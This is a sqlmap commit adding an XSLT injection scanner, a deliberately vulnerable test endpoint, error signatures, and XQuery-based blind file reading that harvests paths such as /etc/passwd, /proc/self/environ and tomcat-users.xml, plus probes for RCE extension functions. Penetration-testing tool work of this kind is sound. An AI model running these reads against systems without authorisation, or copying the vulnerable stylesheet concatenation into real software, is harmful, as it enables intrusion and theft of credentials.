Adding switch --xslt

This commit is contained in:
Miroslav Štampar
2026-08-08 00:37:32 +02:00
parent 2726807871
commit 881d2e8f90
12 changed files with 1055 additions and 26 deletions
+38
View File
@@ -351,6 +351,23 @@ def hql_evaluate(value):
# --- XPath endpoint (vulnerable search and login, backed by an in-memory XML document) ------------
XSLT_DOC = """<?xml version="1.0"?><catalog><item><name>luther</name><price>10</price></item>\
<item><name>fluffy</name><price>20</price></item></catalog>"""
# The element slot: user input lands BETWEEN elements, so it can introduce whole XSLT instructions.
XSLT_ELEMENT_SHEET = """<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html"/><xsl:template match="/"><html><body><div>%s</div></body></html></xsl:template>
</xsl:stylesheet>"""
# The value slot: user input lands INSIDE select="...", so it can only carry an XPath expression.
XSLT_VALUE_SHEET = """<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html"/><xsl:template match="/"><html><body><table>
<xsl:for-each select="catalog/item"><xsl:sort select="%s"/><tr><td><xsl:value-of select="name"/></td></tr></xsl:for-each>
</table></body></html></xsl:template>
</xsl:stylesheet>"""
XPATH_XML = """<?xml version="1.0" encoding="UTF-8"?>
<directory>
<department name="IT Operations">
@@ -1177,6 +1194,27 @@ class ReqHandler(BaseHTTPRequestHandler):
self.wfile.write(output.encode(UNICODE_ENCODING))
return
if self.url in ("/xslt/element", "/xslt/value"):
# VULNERABLE: user input is concatenated into a stylesheet which is then compiled and applied
element = self.url.endswith("element")
source = self.params.get("tpl" if element else "sort", "" if element else "name")
try:
from lxml import etree
sheet = (XSLT_ELEMENT_SHEET if element else XSLT_VALUE_SHEET) % source
transform = etree.XSLT(etree.fromstring(sheet.encode("utf-8")))
output = str(transform(etree.fromstring(XSLT_DOC.encode("utf-8"))))
code = OK
except Exception as ex:
output = "<html><body><h1>XSLT error</h1><pre>%s: %s</pre></body></html>" % (type(ex).__name__, ex)
code = INTERNAL_SERVER_ERROR
self.send_response(code)
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
self.send_header("Connection", "close")
self.end_headers()
self.wfile.write(output.encode(UNICODE_ENCODING))
return
if self.url == "/xpath/search":
self.send_response(OK)
self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
+9 -2
View File
@@ -88,6 +88,7 @@ from lib.core.settings import INFERENCE_EQUALS_CHAR
from lib.core.settings import LDAP_ERROR_REGEX
from lib.core.settings import SSTI_ERROR_REGEX
from lib.core.settings import XPATH_ERROR_REGEX
from lib.core.settings import XSLT_ERROR_REGEX
from lib.core.settings import XXE_ERROR_REGEX
from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
from lib.core.settings import IPS_WAF_CHECK_RATIO
@@ -1188,13 +1189,13 @@ def heuristicCheckSqlInjection(place, parameter):
kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N', boolean=True)
elif result:
infoMsg += "be injectable"
infoMsg += "be SQL injectable"
if Backend.getErrorParsedDBMSes():
infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes()
logger.info(infoMsg)
else:
infoMsg += "not be injectable"
infoMsg += "not be SQL injectable"
logger.warning(infoMsg)
kb.heuristicMode = True
@@ -1271,6 +1272,12 @@ def heuristicCheckSqlInjection(place, parameter):
if conf.beep:
beep()
if not conf.xslt and re.search(XSLT_ERROR_REGEX, page or ""):
infoMsg = "heuristic (XSLT) test shows that %sparameter '%s' might be vulnerable to XSLT injection (rerun with switch '--xslt')" % ("%s " % paramType if paramType != parameter else "", parameter)
logger.info(infoMsg)
if conf.beep:
beep()
if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""):
infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')"
logger.info(infoMsg)
+8 -3
View File
@@ -532,12 +532,12 @@ def start():
checkJWT()
if conf.mineParams and not any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql, conf.jwt)):
if conf.mineParams and not any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.xslt, conf.hql, conf.jwt)):
from lib.utils.paraminer import mineParameters
mineParameters()
if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql, conf.jwt)) and (conf.reportJson or conf.resultsFile):
singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe/--hql/--jwt) findings; these are reported on the console only")
if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.xslt, conf.hql, conf.jwt)) and (conf.reportJson or conf.resultsFile):
singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xslt/--xxe/--hql/--jwt) findings; these are reported on the console only")
if conf.graphql:
from lib.techniques.graphql.inject import graphqlScan
@@ -564,6 +564,11 @@ def start():
sstiScan()
continue
if conf.xslt:
from lib.techniques.xslt.inject import xsltScan
xsltScan()
continue
if conf.xxe:
from lib.techniques.xxe.inject import xxeScan
xxeScan()
+7 -5
View File
@@ -945,10 +945,12 @@ def _setTamperingFunctions():
logger.warning(warnMsg)
# tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines
# (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) do not run payloads through the tampering hook, so
# warn instead of silently ignoring the user's '--tamper'
if kb.tamperFunctions and any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)):
engine = next(_ for _ in ("graphql", "nosql", "ldap", "xpath", "ssti", "xxe") if conf.get(_))
# (--graphql/--nosql/--ldap/--xpath/--ssti/--xslt/--xxe) do not run payloads through the tampering
# hook, so warn instead of silently ignoring the user's '--tamper'. One tuple drives both the test
# and the name lookup - keeping two lists in step is exactly how this raised StopIteration.
_nonSqlEngines = ("graphql", "nosql", "ldap", "xpath", "ssti", "xslt", "xxe")
if kb.tamperFunctions and any(conf.get(_) for _ in _nonSqlEngines):
engine = next(_ for _ in _nonSqlEngines if conf.get(_))
warnMsg = "tamper scripts are applied to SQL injection payloads only and "
warnMsg += "will be ignored by the '--%s' engine" % engine
logger.warning(warnMsg)
@@ -2755,7 +2757,7 @@ def _checkTor():
def _basicOptionValidation():
_nonSqlTechniques = [name for name, enabled in (
("--graphql", conf.graphql), ("--nosql", conf.nosql), ("--ldap", conf.ldap),
("--xpath", conf.xpath), ("--ssti", conf.ssti), ("--xxe", conf.xxe), ("--hql", conf.hql)) if enabled]
("--xpath", conf.xpath), ("--ssti", conf.ssti), ("--xxe", conf.xxe), ("--xslt", conf.xslt), ("--hql", conf.hql)) if enabled]
if len(_nonSqlTechniques) > 1:
errMsg = "only one non-SQL technique switch may be used at a time (found: %s). " % ", ".join(_nonSqlTechniques)
errMsg += "each is a self-contained scan for a different back-end class - pick one"
+1
View File
@@ -126,6 +126,7 @@ optDict = {
"xpath": "boolean",
"ssti": "boolean",
"xxe": "boolean",
"xslt": "boolean",
"hql": "boolean",
"jwt": "boolean",
"oobServer": "string",
+88 -2
View File
@@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.8.12"
VERSION = "1.10.8.13"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -1168,7 +1168,9 @@ XPATH_ERROR_SIGNATURES = (
("eXist", r"org\.exist\.xquery\.(?:XPathException|XQueryException)"),
("eXist", r"exerr:ERROR"),
("Python ElementTree", r"xml\.etree\.ElementTree\.(?:ParseError|Element)"),
("Generic XPath", r"(?:XPath|XSLT).*?(?:error|exception|syntax)"),
# NOT XSLT: a dedicated '--xslt' engine owns those errors now, and claiming them here made every
# XSLT parser error suggest '--xpath' as well
("Generic XPath", r"XPath.*?(?:error|exception|syntax)"),
("Generic XPath", r"Invalid XPath|XPath evaluation failed"),
)
@@ -1184,6 +1186,90 @@ XPATH_MAX_DEPTH = 32
# Upper bound for the value-length search during XPath blind extraction
XPATH_MAX_LENGTH = 256
# XQuery (XPath 2.0/3.x) supersets XPath 1.0, so the same injection boundary reaches a much richer
# language. These probes are TRUE on an XQuery processor and a SYNTAX ERROR on an XPath 1.0 one, which is
# what makes them a capability test rather than a guess: string-join/matches/upper-case simply do not
# exist in 1.0. Engines: Saxon, BaseX, eXist-db, MarkLogic, Zorba.
XQUERY_CAPABILITY_PROBES = (
"string-join(('a','b'),'')='ab'",
"upper-case('a')='A'",
"matches('a','a')",
)
# XQuery file-read primitive: fn:unparsed-text() returns a text file as a string, so the existing blind
# character bisection recovers it unchanged. doc() is the XML equivalent (and the OOB vector when it is
# handed an http:// URI).
XQUERY_FILE_READ = "unparsed-text(%s)"
XQUERY_MAX_FILE_LENGTH = 4096
# Proactive harvest for a confirmed XQuery back-end. Deliberately SHORT: unlike an in-band read, every
# character here costs a bisection round-trip, so this is the identity/secret minimum rather than the
# broad sweep an in-band engine can afford.
XQUERY_FILE_HARVEST = (
"/etc/passwd",
"/etc/hostname",
"/proc/self/environ",
"/proc/self/cmdline",
"c:/windows/win.ini",
)
# Characters recovered from the ONE file the harvest extracts a sample from. Every character costs about
# eight bisection round-trips, so a full /etc/passwd would be thousands of requests against the target.
# The harvest therefore PROVES readability across the list for ~1 request each and samples a short prefix
# from the first hit only. An explicit '--file-read' is a deliberate request and still gets the full
# XQUERY_MAX_FILE_LENGTH.
XQUERY_HARVEST_CHARS = 32
# XSLT injection ('--xslt'). Compile/runtime errors are per-engine and are what reaches a target whose
# output is fixed, so they double as the fingerprint when nothing can be reflected.
# Ordered MOST SPECIFIC FIRST and matched in order: PHP's XSLTProcessor and lxml are both libxslt
# underneath and emit its wording too, so the generic libxslt entry has to come last or it would shadow
# the binding that actually tells the tester what they are talking to.
XSLT_ERROR_SIGNATURES = (
("PHP XSLTProcessor", r"XSLTProcessor::(?:importStylesheet|transformTo\w+)\(\)"),
("libxslt / lxml", r"lxml\.etree\.(?:XSLT(?:Parse|Apply|)Error|XPathEvalError)"),
("Saxon", r"(?:net\.sf\.saxon\.|SaxonApiException|Static error(?:s)? (?:in|at)|XTDE\d{4}|XTSE\d{4})"),
("Xalan / Java JAXP", r"(?:javax\.xml\.transform\.Transformer(?:Configuration)?Exception|org\.apache\.xalan|XSLT Error)"),
(".NET XslCompiledTransform", r"System\.Xml\.Xsl\.(?:XslLoadException|XsltException)"),
# Anchored to XSLT vocabulary on purpose: this regex also drives the GLOBAL heuristic hint in
# checks.py, and bare "compilation error" / "Invalid expression" match gcc, javac and regex failures,
# which would suggest '--xslt' on targets that have nothing to do with XSLT.
("libxslt", r"(?:xsltParseStylesheet|xsltApplyStylesheet|xsltCompilePattern|xsl:\w+ : |xmlXPathEval|XPath error : )"),
("Generic XSLT", r"(?:XSLT|xsl:stylesheet).{0,40}?(?:error|exception|fail)"),
)
XSLT_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XSLT_ERROR_SIGNATURES)
# system-property() names the processor from inside the transformation, so a response carrying it is the
# engine speaking rather than the application echoing.
XSLT_VENDOR_PROPERTIES = ("xsl:vendor", "xsl:version", "xsl:vendor-url", "xsl:product-name", "xsl:product-version")
# Extension surfaces that would turn XSLT injection into code execution or a file WRITE. sqlmap reports
# their availability and never invokes them - probing whether a function EXISTS is not exercising it.
XSLT_RCE_PROBES = (
("PHP registerPHPFunctions (php:function)", "string(function-available('php:function'))"),
("EXSLT exsl:document (file write)", "string(element-available('exsl:document'))"),
("Saxon saxon:eval", "string(function-available('saxon:eval'))"),
("Xalan java: extension namespace", "string(function-available('java:java.lang.Runtime.getRuntime'))"),
)
XSLT_MAX_FILE_LENGTH = 65536
# XSLT 1.0's document() parses its target as XML, so a text file simply fails to load - only an XSLT 2.0+
# engine reaches arbitrary text through unparsed-text(). These are the high-value paths that ARE XML, so
# the auto-harvest still returns something on a 1.0 engine (which is most of the installed base).
XSLT_XML_HARVEST = (
"/var/www/html/WEB-INF/web.xml",
"/usr/local/tomcat/conf/tomcat-users.xml",
"/usr/local/tomcat/conf/server.xml",
"/opt/tomcat/conf/tomcat-users.xml",
"/etc/tomcat/tomcat-users.xml",
"c:/inetpub/wwwroot/web.config",
"c:/windows/system32/inetsrv/config/applicationHost.config",
)
# Bound on the proactive harvest so a confirmed finding cannot turn into hundreds of requests.
XSLT_MAX_HARVEST = 12
# SSTI error signatures per template engine for detection and fingerprinting.
# Each tuple is (engine_name, regex_fragment).
SSTI_ERROR_SIGNATURES = (
+5 -3
View File
@@ -96,6 +96,8 @@ def vulnTest(tests=None, label="vuln"):
("-u \"<base>nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction
("-u \"<base>graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "enumerated 6 injectable argument slot(s): 4 query, 2 mutation", "SQL injection via GraphQL (boolean-based)", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + query-slots-first (mutations only as fallback) + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed)
("-u \"<base>ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing
("-u \"<base>xslt/element?tpl=x\" --xslt --flush-session --disable-hashing", ("is vulnerable to XSLT injection", "element context", "Engine: libxslt", "Type: XSLT injection", "XSLT scan complete")), # XSLT: the engine names itself through system-property('xsl:vendor') in the element slot - a value the application cannot produce on its own
("-u \"<base>xslt/value?sort=name\" --xslt --flush-session --disable-hashing", ("is vulnerable to XSLT injection", "value context", "XSLT compile-differential", "XSLT scan complete")), # XSLT: the value slot reflects nothing, so detection rests on the compile differential plus positive XPath-syntax evidence
("-u \"<base>xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction
("-u \"<base>ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe
("-u \"<base>hql/search?name=admin\" -p name --hql --flush-session --disable-hashing", ("is vulnerable to HQL injection", "back-end: 'Hibernate'", "entity 'Users'", "s3cr3t", "HQL scan complete")), # HQL: error-based Hibernate fingerprint + boolean oracle + error-leaked entity + blind attribute enumeration and substring value extraction
@@ -109,14 +111,14 @@ def vulnTest(tests=None, label="vuln"):
("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
)
# The vulnserver's XPath and XXE endpoints render with lxml and its SSTI endpoint with jinja2; where
# The vulnserver's XPath, XXE and XSLT endpoints render with lxml and its SSTI endpoint with jinja2; where
# those optional third-party engines are not importable (e.g. PyPy 2.7, which has no lxml wheel), skip
# just those entries instead of failing the whole run - the rest of the suite is unaffected.
try:
__import__("lxml")
except ImportError:
TESTS = tuple(_ for _ in TESTS if "--xpath" not in _[0] and "--xxe" not in _[0])
logger.warning("skipping the XPath and XXE vuln-test entries ('lxml' not available)")
TESTS = tuple(_ for _ in TESTS if not any(_flag in _[0] for _flag in ("--xpath", "--xxe", "--xslt")))
logger.warning("skipping the XPath, XXE and XSLT vuln-test entries ('lxml' not available)")
try:
__import__("jinja2")
except ImportError:
+3
View File
@@ -802,6 +802,9 @@ def cmdLineParser(argv=None):
nonsql.add_argument("--ssti", dest="ssti", action="store_true",
help="Test for server-side template injection")
nonsql.add_argument("--xslt", dest="xslt", action="store_true",
help="Test for XSLT injection")
nonsql.add_argument("--xxe", dest="xxe", action="store_true",
help="Test for XML External Entity (XXE) injection")
+138 -11
View File
@@ -11,7 +11,10 @@ import time
from collections import namedtuple
from lib.core.common import beep
from lib.core.common import dataToOutFile
from lib.core.common import randomStr
from lib.core.common import removeReflectiveValues
from lib.core.convert import getBytes
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import logger
@@ -32,6 +35,11 @@ from lib.core.settings import XPATH_ERROR_REGEX
from lib.core.settings import XPATH_ERROR_SIGNATURES
from lib.core.settings import XPATH_MAX_DEPTH
from lib.core.settings import XPATH_MAX_LENGTH
from lib.core.settings import XQUERY_CAPABILITY_PROBES
from lib.core.settings import XQUERY_FILE_READ
from lib.core.settings import XQUERY_FILE_HARVEST
from lib.core.settings import XQUERY_HARVEST_CHARS
from lib.core.settings import XQUERY_MAX_FILE_LENGTH
from lib.request.connect import Connect as Request
from lib.utils.xrange import xrange
@@ -152,6 +160,12 @@ def _send(place, parameter, value):
if conf.verbose >= 3:
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
page, _, code = Request.getPage(**kwargs)
# Strip the payload back out before anyone compares pages. An endpoint that ECHOES the parameter
# differs between any two probes simply because the two payloads differ - which satisfies a
# true/false differential, and even the XPath-only confirm battery, without a single expression
# ever being evaluated. That reported XSLT (and plain reflective) endpoints as XPath-injectable.
# On a genuinely blind target the payload is not in the page, so this is a no-op.
page = removeReflectiveValues(page, value, suppressWarning=True)
# A transport failure or a BLOCKED/ERROR status (5xx, 403/429 WAF/rate-limit) is NOT a usable
# oracle sample: returning "" for it would let a one-sided failure fake a true/false divergence
# (an empty body cannot be told apart from a dead connection). Signal it as None -> the boolean
@@ -371,16 +385,20 @@ class _XPathPayloadBuilder(object):
def stringLengthAtLeast(self, target, n):
return self._make("string-length(%s)>=%d" % (target, n))
def charPresent(self, target, pos):
def charPresent(self, target, pos, literal=None):
# True when the character at 1-based position `pos` of `target` belongs to
# the known ordered charset (so its index can be resolved by bisection).
return self._make("contains(%s,substring(%s,%d,1))" % (_CS_LITERAL, target, pos))
return self._make("contains(%s,substring(%s,%d,1))" % (literal or _CS_LITERAL, target, pos))
def charIndexAtLeast(self, target, pos, n):
def charIndexAtLeast(self, target, pos, n, literal=None):
# The 0-based index of a charset member equals the length of the charset
# prefix preceding it (XPath 1.0 has no lexicographic '<', but
# string-length(substring-before(...)) yields a number we can bisect on).
return self._make("string-length(substring-before(%s,substring(%s,%d,1)))>=%d" % (_CS_LITERAL, target, pos, n))
return self._make("string-length(substring-before(%s,substring(%s,%d,1)))>=%d" % (literal or _CS_LITERAL, target, pos, n))
def predicate(self, expression):
"""Send an arbitrary boolean expression through the verified boundary (XQuery capability probes)."""
return self._make(expression)
def _makeOracle(place, parameter, boundary, base):
@@ -522,7 +540,7 @@ def _inferCount(oracle, builder, path, countFn, maxCount=128):
return None
def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH):
def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH, ords=None, literal=None):
"""Blindly recover the string value of XPath expression `target` (e.g.
"name(/*)" or "string(/*[1]/@*[1])") using binary search.
@@ -547,10 +565,11 @@ def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH):
chars = []
probes = 0
last = len(_CS_ORDS) - 1
ords = ords or _CS_ORDS
last = len(ords) - 1
for pos in xrange(1, length + 1):
probes += 1
if not oracle.extract(builder.charPresent(target, pos)):
if not oracle.extract(builder.charPresent(target, pos, literal)):
chars.append("?")
continue
@@ -558,11 +577,11 @@ def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH):
while clo < chi:
cmid = (clo + chi + 1) // 2
probes += 1
if oracle.extract(builder.charIndexAtLeast(target, pos, cmid)):
if oracle.extract(builder.charIndexAtLeast(target, pos, cmid, literal)):
clo = cmid
else:
chi = cmid - 1
chars.append(chr(_CS_ORDS[clo]))
chars.append(chr(ords[clo]))
except InconclusiveError:
# abort this value rather than emit a length/char chosen from an ambiguous bit
logger.warning("XPath string inference aborted (oracle inconclusive after retries)")
@@ -573,6 +592,68 @@ def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH):
return value or None
# File content carries bytes the XML-tree charset deliberately excludes (tab, newline, quotes, angle
# brackets). Recovering a file with those replaced by '?' would be worse than useless, so a file read gets
# its own charset. Tab and newline are produced with fn:codepoints-to-string() rather than an XML
# character reference: the payload travels in a query-string parameter, where a literal '&' would split
# it into two parameters. This literal is only ever used on the XQuery path, where the function exists.
_FILE_ORDS = [0x09, 0x0a] + [_ for _ in xrange(XPATH_CHAR_MIN, XPATH_CHAR_MAX + 1)]
# Built entirely from codepoints rather than a quoted string: the charset contains ', ", & and < , each of
# which is either illegal bare in an XQuery string literal ('&' -> "Invalid entity") or would need
# escaping that survives URL transport. fn:codepoints-to-string() takes the whole sequence and has none of
# those hazards.
_FILE_LITERAL = "codepoints-to-string((%s))" % ",".join(str(_) for _ in _FILE_ORDS)
def _probeXQuery(oracle, builder):
"""True when the injected expression reaches an XQuery / XPath 2.0+ processor rather than an XPath 1.0
one. Each probe calls a function that does not exist in 1.0, so a positive answer is a capability the
engine demonstrated - not an inference from an error string or a version banner.
A second, NEGATIVE control matters here: an oracle that answers TRUE to everything would otherwise be
read as 'XQuery'. The false control must come back false for the verdict to stand."""
try:
if oracle.extract(builder.predicate("string-join(('a','b'),'')='zz'")):
return False # answers true to a FALSE probe -> oracle is not discriminating
for probe in XQUERY_CAPABILITY_PROBES:
if oracle.extract(builder.predicate(probe)):
return True
except InconclusiveError:
return False
return False
def _xqueryFileRead(oracle, builder, path, quiet=False, maxLen=XQUERY_MAX_FILE_LENGTH):
"""Recover a text file through fn:unparsed-text() using the same blind bisection that walks the XML
tree - the boundary is already proven, so this needs no new oracle. `quiet` suppresses the
not-readable notice, because the proactive harvest expects most of its paths to be absent."""
target = XQUERY_FILE_READ % _xpathQuote(path)
try:
if not oracle.extract(builder.predicate("string-length(%s)>0" % target)):
if not quiet:
logger.warning("XQuery file read: '%s' is empty or not readable" % path)
return None
except InconclusiveError:
return None
return _inferString(oracle, builder, target, maxLen=maxLen,
ords=_FILE_ORDS, literal=_FILE_LITERAL)
def _dumpFileRead(remoteFile, content):
"""Save an XQuery-read file to the output directory (parity with '--file-read')."""
try:
localPath = dataToOutFile(remoteFile, getBytes(content))
except Exception as ex:
logger.debug("could not save the XQuery-read file to disk: %s" % getUnicode(ex))
localPath = None
if localPath:
conf.dumper.rFile([localPath])
else:
conf.dumper.singleString("XQuery file read ('%s'):\n%s" % (remoteFile, content))
def _walkTree(oracle, builder, path="/*", depth=0):
"""Recursively walk the XML tree from a given XPath expression.
Returns a dict: {name, path, children, attributes, text} or None."""
@@ -799,8 +880,54 @@ def xpathScan():
logger.info("identified back-end: '%s'" % backend)
slot = slot._replace(backend=backend)
title = "XPath boolean-based blind"
conf.dumper.singleString("---\nParameter: %s (%s)\n Type: XPath injection\n Title: %s\n Payload: %s=%s\n---" % (slot.parameter, slot.place, title, slot.parameter, slot.payload))
# An XQuery/XPath-2.0+ processor accepts the same boundary but a far larger language, so say so and
# use it: fn:unparsed-text() turns the proven boolean oracle into a file-read primitive.
isXQuery = _probeXQuery(oracle, builder)
if isXQuery:
logger.info("the back-end evaluates XQuery / XPath 2.0+ (fn:string-join, fn:matches, fn:unparsed-text are available)")
if slot.backend in (None, "Generic XPath"):
slot = slot._replace(backend="Generic XQuery / XPath 2.0+")
title = "XQuery boolean-based blind" if isXQuery else "XPath boolean-based blind"
conf.dumper.singleString("---\nParameter: %s (%s)\n Type: %s injection\n Title: %s\n Payload: %s=%s\n---" % (slot.parameter, slot.place, "XQuery" if isXQuery else "XPath", title, slot.parameter, slot.payload))
if isXQuery:
# A confirmed XQuery back-end is exploited automatically, like every other non-SQL engine: the
# tree walk below is the data dump, and fn:unparsed-text() is the file-read impact. An explicit
# '--file-read' overrides the harvest and is honoured verbatim instead.
if conf.fileRead:
logger.info("reading file '%s' through fn:unparsed-text()" % conf.fileRead)
content = _xqueryFileRead(oracle, builder, conf.fileRead)
if content:
logger.info("XQuery file read succeeded (%d characters)" % len(content))
_dumpFileRead(conf.fileRead, content)
else:
logger.warning("XQuery file read of '%s' failed" % conf.fileRead)
else:
# Readability is PROVED across the list for about one request per path, then a short
# prefix is sampled from the first hit. Extracting every file would cost thousands of
# bisection round-trips - impact is established by reading a file at all, not by volume.
logger.info("probing which files are readable through fn:unparsed-text()")
readable = []
for path in XQUERY_FILE_HARVEST:
try:
if oracle.extract(builder.predicate("string-length(%s)>0" % (XQUERY_FILE_READ % _xpathQuote(path)))):
readable.append(path)
logger.info("'%s' is readable" % path)
except InconclusiveError:
break
if readable:
sample = _xqueryFileRead(oracle, builder, readable[0], quiet=True, maxLen=XQUERY_HARVEST_CHARS)
if sample:
logger.info("read the first %d characters of '%s'" % (len(sample), readable[0]))
_dumpFileRead(readable[0], sample)
conf.dumper.singleString("XQuery: readable through fn:unparsed-text():\n%s"
% "\n".join(" %s" % _ for _ in readable))
logger.info("use '--file-read' to pull one of these in full")
else:
logger.info("no file could be read automatically through fn:unparsed-text()")
elif conf.fileRead:
logger.warning("'--file-read' needs an XQuery / XPath 2.0+ back-end; this one is XPath 1.0 only")
# Blind XML tree-walking (attempted document-root traversal)
logger.info("walking XML document tree (depth limit: %d)" % XPATH_MAX_DEPTH)
+8
View File
@@ -0,0 +1,8 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
pass
+520
View File
@@ -0,0 +1,520 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
"""
XSLT injection ('--xslt').
An application that builds a stylesheet by concatenating user input hands over a whole transformation
language, not just a value. The tiers are ordered by what each one PROVES, not by how spectacular it is:
T1 system-property('xsl:vendor') the engine names itself in the response - a fingerprint, and the
strongest evidence that the input really is compiled as XSLT
T2 <xsl:value-of select="..."> arbitrary XPath evaluated and reflected in-band
T3 malformed select parser error naming the engine (reaches targets with fixed output)
T4 document('file:///...') file read, plus unparsed-text() where the engine is XSLT 2.0+
Blind out-of-band (document('http://collector/')) is NOT implemented yet; it would reuse the collector
'--xxe' already has, but nothing here drives it, so a target with no in-band or error surface is out of
reach for now.
The ELEMENT slot and the VALUE slot are different surfaces and are probed separately: input landing
between elements can introduce whole XSLT instructions, while input landing inside select="..." can only
carry an XPath expression. Nothing is inferred from a payload merely "looking like" it worked - every
tier is confirmed by a per-run random sentinel or by a value the application cannot produce by itself.
Deliberately reported but NOT exploited: PHP registerPHPFunctions(), EXSLT exsl:document (file WRITE) and
saxon:eval. Those are RCE / write primitives and sit outside what this switch is for.
"""
import re
import time
from collections import namedtuple
from lib.core.common import beep
from lib.core.common import dataToOutFile
from lib.core.common import randomStr
from lib.core.convert import getBytes
from lib.core.convert import getText
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import logger
from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import PLACE
from lib.core.settings import XSLT_ERROR_REGEX
from lib.core.settings import XSLT_ERROR_SIGNATURES
from lib.core.settings import XSLT_MAX_FILE_LENGTH
from lib.core.settings import XSLT_MAX_HARVEST
from lib.core.settings import XSLT_XML_HARVEST
from lib.core.settings import XXE_FILE_HARVEST
from lib.core.settings import XSLT_RCE_PROBES
from lib.core.settings import XSLT_VENDOR_PROPERTIES
from lib.request.connect import Connect as Request
SENTINEL = randomStr(length=10, lowercase=True)
# The sentinel is emitted as TWO adjacent literals that only become one string once concat() actually
# runs. An application that merely echoes the parameter reflects "'ab','cd'" - quotes and comma intact -
# so the joined marker "abcd" never appears, while a real transform emits it. Without this the marker sits
# verbatim in the payload and any echo endpoint matches, which reported a plain search page as vulnerable
# and then "read" /etc/shadow out of its own reflected payload.
def _marks():
half = len(SENTINEL) // 2
return SENTINEL[:half], SENTINEL[half:]
XSLT_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST)
# Where the injected text lands inside the stylesheet. They need different payloads, so the probe order
# below tries the richer one first and falls back.
CONTEXT_ELEMENT = "element" # between elements: whole XSLT instructions can be introduced
CONTEXT_VALUE = "value" # inside an attribute value: an XPath expression only
Slot = namedtuple("Slot", ("place", "parameter", "context", "vendor", "payload"))
def _delim(place):
return conf.paramDel or (';' if place == PLACE.COOKIE else '&')
def _originalValue(place, parameter):
for pair in (conf.parameters.get(place) or "").split(_delim(place)):
if '=' in pair:
name, _, value = pair.partition('=')
if name.strip() == parameter:
return value
return None
def _replaceSegment(place, parameter, value):
retVal = []
for pair in (conf.parameters.get(place) or "").split(_delim(place)):
if '=' in pair:
name, _, old = pair.partition('=')
retVal.append("%s=%s" % (name, value if name.strip() == parameter else old))
elif pair:
retVal.append(pair)
return _delim(place).join(retVal)
def _send(place, parameter, value):
"""One request with the target parameter set to `value`, reusing sqlmap's request machinery so the
